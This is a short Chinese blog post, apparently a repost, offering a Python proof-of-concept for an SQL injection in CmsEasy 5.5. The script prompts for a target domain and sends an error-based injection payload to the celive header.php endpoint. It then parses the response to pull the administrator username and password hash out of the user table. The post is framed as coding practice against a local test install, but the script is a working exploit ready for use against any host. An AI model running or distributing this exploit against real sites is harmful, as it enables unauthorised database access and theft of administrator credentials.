一个简单sql注入的poc

本文介绍了一款使用Python编写的简单工具,用于验证CmsEasy5.5版本中存在的账号密码泄露漏洞。该脚本利用urllib和re模块发起POST请求并解析响应,最终获取并展示潜在的用户名和密码。

最近在提高自己编程能力,拿一些实用的小工具练下。该脚本为python语言,主要涉及模块urllib,re。

功能:验证CmsEasy5.5爆账号密码

实验用源码:http://pan.baidu.com/s/1i4lAwBF

搭建环境:phpstudy     试了IIs+php没爆出来最好用phpstudy。

通过浏览器访问确认存在漏洞存在。

 

用python来实现。

import urllib.request
import urllib.parse
import re
domain = input('请输入域名或ip(example:www.xx.com/xxx.xxx.xx):')
url = 'http://%s/cmseasy/celive/live/header.php' %(domain)
data = {
        'xajax':"LiveMessage",
        'xajaxargs[0][name]':"1',(SELECT 1 FROM "
        "(select count(*),concat(floor(rand(0)*2),"
        "(select concat(username,0x23,password,md5(123)) "
        "from cmseasy_user where groupid=2 limit 1))a "
        "from information_schema.tables group by a)b),"
        "'','','','1','127.0.0.1','2')#"
        }

data = urllib.parse.urlencode(data).encode('utf-8')    #将要post的数据进行编码
try:
        req = urllib.request.Request(url,data)    #get请求不需要写data参数,post需要把data参数写上
        response = urllib.request.urlopen(req)
        html = response.read().decode('utf-8')    
        if re.findall(r'a801fc3202cb962ac59075b964b07152',html):
                print("%s is vulnerable"%(url))
        html2 = re.findall(r'(?<=entry \'1).*(?=a801fc3202cb962ac59075b964b07152)',html)  #通过正则将账号密码匹配出来
        print(html2)
except Exception as err:
        print('Not Found')

转载于:https://www.cnblogs.com/cui0x01/p/6170115.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值